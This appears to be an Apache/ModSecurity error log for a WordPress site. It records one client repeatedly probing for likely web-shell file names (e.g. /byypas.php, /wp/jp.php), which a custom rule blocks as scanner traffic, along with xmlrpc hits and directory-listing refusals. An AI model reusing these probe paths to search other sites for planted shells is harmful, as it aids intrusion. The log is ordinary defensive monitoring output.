[Mon Apr 13 17:40:59.622301 2026] [:error] [pid 9314:tid 9340] [client 172.213.213.128:3812] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady6K2_r4W8fX2GWyGTVzgAAAZg"]
[Mon Apr 13 17:41:01.127845 2026] [:error] [pid 63406:tid 63416] [client 172.213.213.128:55922] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady6LbHZEIkQ0Zmgp5oyRAAAAMU"]
[Mon Apr 13 17:41:04.005408 2026] [:error] [pid 9314:tid 9339] [client 172.213.213.128:3899] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady6MG_r4W8fX2GWyGTV0gAAAZc"]
[Mon Apr 13 17:41:05.576345 2026] [:error] [pid 57183:tid 57203] [client 172.213.213.128:64707] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady6MTDO3t8R5NaxzYThmQAAAVI"]
[Mon Apr 13 17:41:08.999889 2026] [:error] [pid 63309:tid 63325] [client 172.213.213.128:55931] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady6NEpIKZ10weXpf0UIcwAAAAw"]
[Mon Apr 13 17:41:11.573559 2026] [:error] [pid 7228:tid 7231] [client 172.213.213.128:3818] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady6NwEnn1dQrOSHHNVi-AAAAQE"]
[Mon Apr 13 17:41:13.029389 2026] [:error] [pid 7228:tid 7242] [client 172.213.213.128:3841] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady6OQEnn1dQrOSHHNVjAwAAAQw"]
[Mon Apr 13 17:41:15.280263 2026] [:error] [pid 63406:tid 63415] [client 172.213.213.128:3172] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady6O7HZEIkQ0Zmgp5oyaAAAAMQ"]
[Mon Apr 13 17:41:18.964571 2026] [:error] [pid 63406:tid 63432] [client 158.158.40.237:53648] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady6PrHZEIkQ0Zmgp5oydwAAANU"]
[Mon Apr 13 17:41:20.013430 2026] [:error] [pid 63311:tid 63382] [client 172.213.213.128:3848] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady6QKHjrGN1MqBCVFnXjwAAAIs"]
[Mon Apr 13 17:41:23.078672 2026] [:error] [pid 9314:tid 9322] [client 172.213.213.128:56208] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady6Q2_r4W8fX2GWyGTV6QAAAYY"]
[Mon Apr 13 17:41:24.405622 2026] [:error] [pid 9314:tid 9327] [client 172.213.213.128:3705] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady6RG_r4W8fX2GWyGTV9wAAAYs"]
[Mon Apr 13 17:41:27.389439 2026] [:error] [pid 63311:tid 63394] [client 172.213.213.128:3951] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady6R6HjrGN1MqBCVFnXlQAAAJc"]
[Mon Apr 13 17:41:51.582384 2026] [:error] [pid 57183:tid 57203] [client 172.213.213.128:63284] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady6XzDO3t8R5NaxzYTiVAAAAVI"]
[Mon Apr 13 17:41:56.818377 2026] [:error] [pid 63406:tid 63432] [client 172.213.213.128:3928] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady6ZLHZEIkQ0Zmgp5ozAQAAANU"]
[Mon Apr 13 17:42:09.202661 2026] [:error] [pid 63406:tid 63434] [client 172.213.213.128:53974] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "ady6cbHZEIkQ0Zmgp5ozNAAAANc"]
[Mon Apr 13 17:42:13.003404 2026] [:error] [pid 9314:tid 9332] [client 172.213.213.128:52604] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "ady6dW_r4W8fX2GWyGTWfgAAAZA"]
[Mon Apr 13 17:42:15.157993 2026] [:error] [pid 63311:tid 63380] [client 172.213.213.128:64668] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "ady6d6HjrGN1MqBCVFnXxgAAAIk"]
[Mon Apr 13 17:42:17.793558 2026] [:error] [pid 63406:tid 63425] [client 172.213.213.128:61031] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "ady6ebHZEIkQ0Zmgp5ozTgAAAM4"]
[Mon Apr 13 17:42:19.890904 2026] [:error] [pid 63309:tid 63325] [client 172.213.213.128:58975] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "ady6e0pIKZ10weXpf0UIowAAAAw"]
[Mon Apr 13 17:42:21.353323 2026] [:error] [pid 63406:tid 63425] [client 172.213.213.128:52573] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "ady6fbHZEIkQ0Zmgp5ozXwAAAM4"]
[Mon Apr 13 17:42:26.225396 2026] [:error] [pid 63311:tid 63383] [client 172.213.213.128:53977] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "ady6gqHjrGN1MqBCVFnXzgAAAIw"]
[Mon Apr 13 17:42:26.957530 2026] [:error] [pid 57183:tid 57209] [client 172.213.213.128:58997] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "ady6gjDO3t8R5NaxzYTiowAAAVg"]
[Mon Apr 13 17:42:32.366933 2026] [:error] [pid 63406:tid 63418] [client 172.213.213.128:65385] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "ady6iLHZEIkQ0Zmgp5ozmQAAAMc"]
[Mon Apr 13 17:42:39.596804 2026] [:error] [pid 63406:tid 63419] [client 172.213.213.128:64659] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "ady6j7HZEIkQ0Zmgp5ozvwAAAMg"]
[Mon Apr 13 17:42:57.450355 2026] [:error] [pid 57183:tid 57194] [client 172.213.213.128:61028] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ady6oTDO3t8R5NaxzYTjCwAAAUk"]
[Mon Apr 13 17:43:00.665445 2026] [:error] [pid 63406:tid 63432] [client 172.213.213.128:65376] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ady6pLHZEIkQ0Zmgp5oz_AAAANU"]
[Mon Apr 13 17:43:01.987678 2026] [:error] [pid 63310:tid 63364] [client 172.213.213.128:58995] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ady6pXoXpRU5ztmwPjI05QAAAFQ"]
[Mon Apr 13 17:43:03.250695 2026] [:error] [pid 57183:tid 57195] [client 172.213.213.128:52577] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ady6pzDO3t8R5NaxzYTjGAAAAUo"]
[Mon Apr 13 17:43:06.547523 2026] [:error] [pid 57183:tid 57204] [client 172.213.213.128:53955] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "ady6qjDO3t8R5NaxzYTjHgAAAVM"]
[Mon Apr 13 17:43:09.925252 2026] [:error] [pid 57183:tid 57189] [client 172.213.213.128:64696] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "ady6rTDO3t8R5NaxzYTjJQAAAUQ"]
[Mon Apr 13 17:43:16.158014 2026] [:error] [pid 9314:tid 9323] [client 172.213.213.128:58952] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "ady6tG_r4W8fX2GWyGTW7AAAAYc"]
[Mon Apr 13 17:43:25.409814 2026] [:error] [pid 63310:tid 63359] [client 172.213.213.128:64646] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "ady6vXoXpRU5ztmwPjI0-wAAAE8"]
[Mon Apr 13 17:43:29.010552 2026] [:error] [pid 63406:tid 63417] [client 172.213.213.128:58996] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "ady6wbHZEIkQ0Zmgp5o0SAAAAMY"]
[Mon Apr 13 17:43:31.234798 2026] [:error] [pid 63406:tid 63414] [client 172.213.213.128:53971] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "ady6w7HZEIkQ0Zmgp5o0WAAAAMM"]
[Mon Apr 13 17:43:38.228998 2026] [:error] [pid 57183:tid 57206] [client 172.213.213.128:58950] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady6yjDO3t8R5NaxzYTjaAAAAVU"]
[Mon Apr 13 17:43:43.777659 2026] [:error] [pid 9314:tid 9331] [client 172.213.213.128:61007] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady6z2_r4W8fX2GWyGTXFwAAAY8"]
[Mon Apr 13 17:43:47.205021 2026] [:error] [pid 63311:tid 63393] [client 172.213.213.128:52559] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady606HjrGN1MqBCVFnYIQAAAJY"]
[Mon Apr 13 17:43:50.325965 2026] [:error] [pid 63309:tid 63335] [client 172.213.213.128:53982] [client 172.213.213.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady61kpIKZ10weXpf0UI8QAAABY"]
[Mon Apr 13 19:11:12.048369 2026] [:error] [pid 9314:tid 9330] [client 113.176.135.167:62779] [client 113.176.135.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.176.135.167, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adzPUG_r4W8fX2GWyGT2RgAAAY4"], referer: https://vetstars.com.au/
[Mon Apr 13 19:56:09.279055 2026] [autoindex:error] [pid 57183:tid 57190] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:13.500795 2026] [autoindex:error] [pid 57183:tid 57185] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:26.611499 2026] [autoindex:error] [pid 57183:tid 57206] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:28.833685 2026] [autoindex:error] [pid 57183:tid 57186] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:36.656501 2026] [autoindex:error] [pid 57183:tid 57187] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:36.937856 2026] [autoindex:error] [pid 57183:tid 57193] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:39.704192 2026] [autoindex:error] [pid 57183:tid 57185] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:40.126012 2026] [autoindex:error] [pid 57183:tid 57195] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:42.263140 2026] [autoindex:error] [pid 57183:tid 57207] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:42.675509 2026] [autoindex:error] [pid 57183:tid 57200] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:42.987381 2026] [autoindex:error] [pid 57183:tid 57185] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:47.146121 2026] [autoindex:error] [pid 57183:tid 57193] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:47.918732 2026] [autoindex:error] [pid 57183:tid 57185] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:48.245575 2026] [autoindex:error] [pid 57183:tid 57203] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:54.811492 2026] [autoindex:error] [pid 57183:tid 57186] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:56.392424 2026] [autoindex:error] [pid 57183:tid 57186] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
